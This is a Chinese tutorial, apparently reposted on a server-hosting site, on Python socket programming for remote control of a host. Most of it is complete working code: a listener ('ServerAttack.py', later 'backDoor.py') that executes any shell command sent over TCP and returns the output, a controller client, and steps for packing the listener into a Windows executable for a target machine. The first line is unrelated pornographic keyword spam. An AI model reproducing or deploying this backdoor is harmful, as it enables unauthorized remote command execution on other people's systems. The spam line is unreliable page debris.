五月综合激情婷婷六月,日韩欧美国产一区不卡,他扒开我内裤强吻我下面视频 ,无套内射无矿码免费看黄,天天躁,日日躁,狠狠躁

新聞動態(tài)

Python實現(xiàn)Socket通信建立TCP反向連接

發(fā)布日期:2022-02-09 18:26 | 文章來源:源碼之家

本文將記錄學(xué)習(xí)基于 Socket 通信機(jī)制建立 TCP 反向連接,借助 Python 腳本實現(xiàn)主機(jī)遠(yuǎn)程控制的目的。

我們在傳輸數(shù)據(jù)時,可以只使用(傳輸層)TCP/IP 協(xié)議,但是那樣的話,如果沒有應(yīng)用層,便無法識別數(shù)據(jù)內(nèi)容,如果想要使傳輸?shù)臄?shù)據(jù)有意義,則必須使用到應(yīng)用層協(xié)議,應(yīng)用層協(xié)議有很多,比如 HTTP、FTP、TELNET 等,也可以自己定義應(yīng)用層協(xié)議。而 Socket 是對 TCP/IP 協(xié)議的封裝,Socket 本身并不是協(xié)議,而是一個調(diào)用接口(API),通過 Socket 我們才能使用 TCP/IP 協(xié)議。

HTTP 連接與 Socket 連接的區(qū)別

  • HTTP 是短連接,Socket (基于 TCP 協(xié)議的)是長連接。盡管 HTTP1.1 開始支持持久連接,但仍無法保證始終連接。而 Socket 連接一旦建立 TCP 三次握手,除非一方主動斷開,否則連接狀態(tài)一直保持。
  • HTTP連接,服務(wù)端無法主動發(fā)消息,Socket 連接,雙方請求的發(fā)送無先后限制。這點就比較重要了,因為它將決定二者分別適合應(yīng)用在什么場景下。HTTP 采用“請求-響應(yīng)”機(jī)制,在客戶端還沒發(fā)送消息給服務(wù)端前,服務(wù)端無法推送消息給客戶端。必須滿足客戶端發(fā)送消息在前,服務(wù)端回復(fù)在后。Socket 連接雙方類似 peer2peer 的關(guān)系,一方隨時可以向另一方喊話。

什么時候該用 HTTP,什么時候該用 Socket?

  • 用 HTTP 的情況:雙方不需要時刻保持連接在線,比如客戶端資源的獲取、文件上傳等。
  • 用 Socket 的情況:大部分即時通訊應(yīng)用(QQ、微信)、聊天室、蘋果APNs等。

Python3 關(guān)于 Socket 網(wǎng)絡(luò)編程的相關(guān)語法知識可以參見:Python3 網(wǎng)絡(luò)編程。

遠(yuǎn)程控制

下面開始來看看如何借助 Python 實現(xiàn)對目標(biāo)主機(jī)的遠(yuǎn)程控制。

腳本編寫

ServerAttack.py 受控端腳本如下:

import socket
import os
ip = ""# 空表示可連接所有主機(jī)
port = 5555  # 設(shè)置端口
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 對象s 使用基于tcp協(xié)議的網(wǎng)絡(luò)套接字
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  # 關(guān)閉后不需要保存狀態(tài)可以立即開啟
s.bind((ip, port))  # 對象s 開始綁定ip和端口
s.listen(10)  # 啟動監(jiān)聽狀態(tài),設(shè)置隊列中等待連接服務(wù)器的最大請求數(shù)10
conn, addr = s.accept() # 當(dāng)與別人建立連接 addr,conn 變量分別存對方ip和連接的對象
print("已建立遠(yuǎn)程連接:", addr)  # 顯示對方地址
while True:
 data = conn.recv(1024)  # 接收對方字符串 #如果對方不發(fā)數(shù)據(jù)會卡住
 if data == b"q":  # 接收到程序終止信號則中斷連接
  break
 data = str(data, encoding="utf8")  # 將數(shù)據(jù)轉(zhuǎn)換為字符串類型
 print("遠(yuǎn)程主機(jī)請求的命令:", data)
 f = os.popen(data)  # 可以將命令的內(nèi)容以讀取的方式返回
 data2 = f.read()
 if data2 == "":
  conn.send(b"finish")
 else:
  conn.send(bytes(data2, encoding="utf8"))  # 發(fā)送命令運行結(jié)果
conn.close()  # 斷開連接
s.close()  # 關(guān)閉套結(jié)字

ClientAttack.py 控制端腳本如下:

import socket
ip = "192.168.146.126"  # 對方服務(wù)器ip地址
port = 5555 # 對方服務(wù)器的端口
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # 對象s使用基于tcp協(xié)議的網(wǎng)絡(luò)套接字
s.connect((ip, port))# 創(chuàng)建socket連接
while True:
 data = input("請輸入命令:")
 data = bytes(data, encoding="utf8")
 s.send(data) # 發(fā)送數(shù)據(jù)給對方
 data2 = s.recv(1024)  # 接收返回的數(shù)據(jù)
 print(str(data2, encoding="utf8"))
 if data == b"q":
  break
s.close()

效果演示

1、Linux 遠(yuǎn)控

將 ServerAttack.py 受控端腳本拷貝至 Linux 系統(tǒng)并運行,同時 Win10 物理機(jī)運行 ClientAttack.py 控制端腳本,可實現(xiàn)遠(yuǎn)程連接控制:

2、Windows 遠(yuǎn)控

使用 pyinstaller 打包 ServerAttack.py 生成 ServerAttack.exe 可執(zhí)行文件(pyinstaller -F ServerAttack.py),然后在 Win7 虛擬機(jī)運行生成的 ServerAttack.exe 文件,效果如下:

腳本優(yōu)化

下面使用多線程、腳本參數(shù)設(shè)置、腳本幫助提示、客戶端服務(wù)端代碼集成來優(yōu)化上述實現(xiàn)遠(yuǎn)程控制的腳本。

getopt ()

Python 中 getopt 模塊是專門用來處理命令行參數(shù)的,函數(shù)格式:

getopt(args, shortopts, longopts = [])

參數(shù)解析如下:

參數(shù) 釋義 補(bǔ)充
args 要解析的參數(shù)列表 一般是sys.argv[1:],表示獲取的參數(shù)不包括當(dāng)前執(zhí)行的 python 腳本名稱
shortopts 要識別的短格式 (-) 選項字符串,如果后接:表示需要給定參數(shù) ab:c:,表示識別 -a, -b 和 -c 的短選項,其中 -b 和 -c 需要后接參數(shù)
longopts = [] 要識別的長格式(–)選項,如果后接=表示需要給定參數(shù) 如[“help”, “user=”, “password=”],表示識別--help, --user=root, --password=123456的長選項

函數(shù)返回值由兩個元素組成:

  • 第一個是 (option, value) 元組的列表,(option, value) 元組中的 option 表示包含-或--前綴的選項,value 表示該 option 對應(yīng)的參數(shù),可以為空字符串表示無參數(shù);
  • 第二個是 args 剝離短選項及其參數(shù)和長選項及其參數(shù)之后剩余的參數(shù)列表。

完整代碼

import socket
import getopt
import sys
import subprocess
from threading import Thread

def main():
 target = ""  # 目標(biāo)IP
 port = 0  # 目標(biāo)端口
 listen = False
 help = False
 # 利用getopt模塊從命令行獲取參數(shù),sys.argv[1:]可以過濾掉第一個參數(shù)(第一個參數(shù)是腳本的名稱,它不應(yīng)該作為參數(shù)進(jìn)行解析)
 opts, args = getopt.getopt(sys.argv[1:], "t:p:hl")
 for o, a in opts:
  if o == "-t":
target = a
  elif o == "-p":
port = int(a)
  elif o == "-h":
help = True
  elif o == "-l":
listen = True
  else:
# 斷言,傳入的參數(shù)有誤
assert False, "Unhandled Option"
 # 輸出幫助文檔
 if help:
  usage()
 # 獲分客戶端和服務(wù)端
 if listen:
  server_handle(port)
 else:
  client_handle(target, port)

# 受控端
def server_handle(port):
 # 創(chuàng)建socket通道
 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 # 綁定
 server.bind(('0.0.0.0', port))
 # 監(jiān)聽
 server.listen(10)
 print("[*] Listening on 0.0.0.0:%d" % port)
 while True:
  client_socket, addr = server.accept()
  print("[*] Accept connection from %s:%d" % (addr[0], addr[1]))
  t = Thread(target=run_command, args=(client_socket, server,))
  t.start()

# 控制端,發(fā)送命令,接收受控端命令行的回顯內(nèi)容
def client_handle(target, port):
 # 創(chuàng)建socket通道
 client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 # 連接服務(wù)器
 client.connect((target, port))
 # 接收數(shù)據(jù)
 while True:
  recv_len = 1
  # 接收到的數(shù)據(jù)是utf-8
  resBuffer = "".encode('utf-8')
  while recv_len:
data = client.recv(4096)
recv_len = len(data)
resBuffer += data
if recv_len < 4096:
 break
  # 在windows下中文會亂碼,所以轉(zhuǎn)成GBK
  print(resBuffer.decode('gbk'), end="")
  # 接收命令,發(fā)送命令需要將命令轉(zhuǎn)成byte,并且編碼是utf-8
  buffer = input("")
  if buffer.encode('utf-8') == b"quit":
break
  buffer += "\n"
  client.send(buffer.encode('utf-8'))
 client.close()

# 執(zhí)行命令涵數(shù)
def run_command(client_socket,s):
 while True:
  # 發(fā)送命令給客戶端
  client_socket.send(b"shell_>")
  # 定義接收命令byte類型變量
  cmd_buffer = "".encode('utf-8')
  # 接收客戶端發(fā)過來的消息,直到預(yù)到換行,代表客戶端消息輸入完成
  while b"\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
  if cmd_buffer == b"quit":
break
  # 將完整的byte變量消息轉(zhuǎn)成字符串
  cmd_buffer = cmd_buffer.decode()
  try:
# 通過隧道執(zhí)行命令并以byte數(shù)據(jù)類型返回輸出的數(shù)據(jù)
out = subprocess.check_output(cmd_buffer, stderr=subprocess.STDOUT, shell=True)
# 將返回的數(shù)據(jù)發(fā)送給客戶端
client_socket.send(out)
  except:
client_socket.send(b"faild to execute the command")
 client_socket.close()  # 斷開連接
 s.close()  # 關(guān)閉套結(jié)字
 exit(0)

# 輸出幫助信息
def usage():
 print("help info : python backDoor.py -h")
 print("client : python backDoor.py -t [target] -p [port]")
 print("server : python backDoor.py -lp [port]")
 print("Exit :Input quit to exit ")
 sys.exit()

if __name__ == "__main__":
 main()

效果演示

獲取腳本幫助提示、進(jìn)行遠(yuǎn)程連接:

到此這篇關(guān)于Python實現(xiàn)Socket通信建立TCP反向連接的文章就介紹到這了,更多相關(guān)Python TCP反向連接內(nèi)容請搜索本站以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持本站!

香港服務(wù)器租用

版權(quán)聲明:本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非maisonbaluchon.cn所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學(xué)習(xí)參考,不代表本站立場,如有內(nèi)容涉嫌侵權(quán),請聯(lián)系alex-e#qq.com處理。

相關(guān)文章

實時開通

自選配置、實時開通

免備案

全球線路精選!

全天候客戶服務(wù)

7x24全年不間斷在線

專屬顧問服務(wù)

1對1客戶咨詢顧問

在線
客服

在線客服:7*24小時在線

客服
熱線

400-630-3752
7*24小時客服服務(wù)熱線

關(guān)注
微信

關(guān)注官方微信
頂部